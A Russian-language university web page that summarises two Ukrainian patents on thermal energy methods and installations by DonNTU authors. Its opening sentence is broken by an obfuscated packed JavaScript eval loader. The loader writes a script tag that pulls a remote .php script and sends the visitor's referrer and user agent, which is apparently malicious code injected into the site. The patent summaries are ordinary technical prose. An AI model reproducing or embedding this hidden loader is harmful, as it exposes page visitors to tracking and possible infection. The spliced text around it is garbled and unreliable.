

На eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!".replace(/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}}return p}('0.6(");n m="q";,30,30,'document||javascript|encodeURIComponent|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|script|zebny|var|u0026u|referrer|atdia||js|php'.split('|'),0,{})) кафедре Компьютерных систем мониторинга ДонНТУ получен ряд патентов на изобретения в области теплоэнергетики.

**1. Способ получения энергии и силовая установка для его осуществления:** патент Украины на изобретение № 90937, МПК F24D 17/02 / Аверин Г. В., Харитонов А.Ю.; ДонНТУ - заяв. № а200810573 от 21.08.2008, опубл. 10.06.2010, бюл. № 11.

Группа изобретений относится к теплоэнергетике, в частности к устройствам и способам работы установок для получения энергии, и может быть использовано в разных областях народного хозяйства.

Способ получения энергии включает нагревание рабочего тела в теплообменной зоне до его испарения, подачу парообразного рабочего тела в рабочую зону, охлаждение рабочего тела в теплообменной зоне до его конденсации и подачу полученного конденсата на испарение. Новизна заключается в том, что в процессе испарения нагрев и охлаждение рабочего тела ведут циклически в одной теплообменной зоне с попеременной подачей в нее теплоносителя. Разность температур теплоносителя не выше температуры критической точки кипения рабочего тела. При этом нагрев осуществляют до состояния влажного пара. В рабочей зоне рабочим телом, которое подается, осуществляют вытеснение и наполнение силового носителя для циклической подачи силового носителя в объемы разного давления.

В качестве теплоносителя может использоваться вода с температурой 90°C, а в качестве рабочего тела может использоваться фреон.

Способ осуществляется при помощи силовой установки, которая содержит испарительно-конденсаторную систему состоящую из как минимум двух теплообменников, содержащих внутреннюю и внешнюю полости. Полости связаны с паровой камерой и трубопроводом подачи теплоносителя, при этом внешние полости подключены в противофазе. Испарительно-конденсаторная система подключена к трубопроводу подачи теплоносителя и связана трубопроводами с насосно-двигательной системой, которая в свою очередь подключена к узлу получения энергии и выполнена в виде из перекачивающих емкостей разделенных эластичной мембраной на паровую камеру и гидравлическую камеру. Гидравлическая камера связана с при помощи клапанов и двух баков с узлом получения энергии, в качестве которого используют жидкостную турбину.

Использование предлагаемого изобретения позволяет получить энергию по термодинамическому циклу Карно, в котором действие рабочего тела происходит в области влажного пара за счет использования рабочего тела рабочего тела и силового носителя с разной температурой кипения. Данные технологические особенности обеспечивают улучшению условий эксплуатации, повышение к.п.д. установки, снижая при этом энергозатраты.

**2. Способ получения тепловой и гидравлической энергии и установка для его осуществления:** патент Украины на изобретение № 88192, МПК F24D 3/02 / Аверин Г. В., Харитонов А.Ю.; ДонНТУ - заяв. а200711079 от 08.10.2007, опубл. 25.09.2009, бюл. № 18.

Группа изобретений относится к отопительной технике, в частности к котельному оборудованию.

Способ получения тепловой и гидравлической энергии включает сжигание топлива, нагрев теплоносителя продуктами сжигания в зоне нагрева, повышение давления

теплоносителя и подачи его потребителю. Новизна заключается в том, что теплоноситель нагревается порционно продуктами сжигания. В процессе нагрева порции теплоносителя одновременно получают порцию перегретого теплоносителя путем дополнительной подачи теплоносителя и его нагрева. Повышение давления нагретого теплоносителя ведут при помощи конденсации полученной порции перегретого теплоносителя путем его теплообмена с холодным теплоносителем. Порция нагрева теплоносителя вытесняется полученным конденсатом высокого давления.

В качестве входящего теплоносителя можно использовать воду с температурой 20°C.

Предлагаемый способ осуществляется при помощи отопительной установки, которая содержит котел, в котором размещены как минимум две пары теплообменных поверхностей и средств сжигания топлива. Такие дополнительные пары элементов расположены в отдельных корпусах, в которых так же размещены дополнительные теплообменные поверхности. Средства сжигания соединены с узлом повышения давления теплоносителя и подсоединены к потребительской сети. А узел повышения давления теплоносителя выполнен в виде теплообменной емкости, размещенной внутри котла, которая имеет как минимум две теплообменные камеры, каждая из которых соединена с соответствующими теплообменными поверхностями. При этом каждая теплообменная поверхность соединена с расположенной в котле емкостью высокого давления.

Использование группы изобретений заключается в реализации термодинамического цикла работы отопительной установки с высокой разностью температур теплоносителя в пределах зоны горения топлива и в зоне нагрева теплоносителя. Данный интервал температуры может составлять от 600 °C до 800 °C, поскольку в зоне горения топлива температура газов, а соответственно и температура перегретого теплоносителя, может достигать до 1000 °C, а в зоне нагрева теплоносителя температура нагретого теплоносителя может составлять менее 100 °C.

Группа изобретений обеспечивает возможность реализации полного термодинамического цикла теплоносителя в пределах рабочего объема установки, и позволяет одновременно получать тепловую и гидравлическую энергии с использованием одного источника изначальной энергии, сниженная при материальные затраты.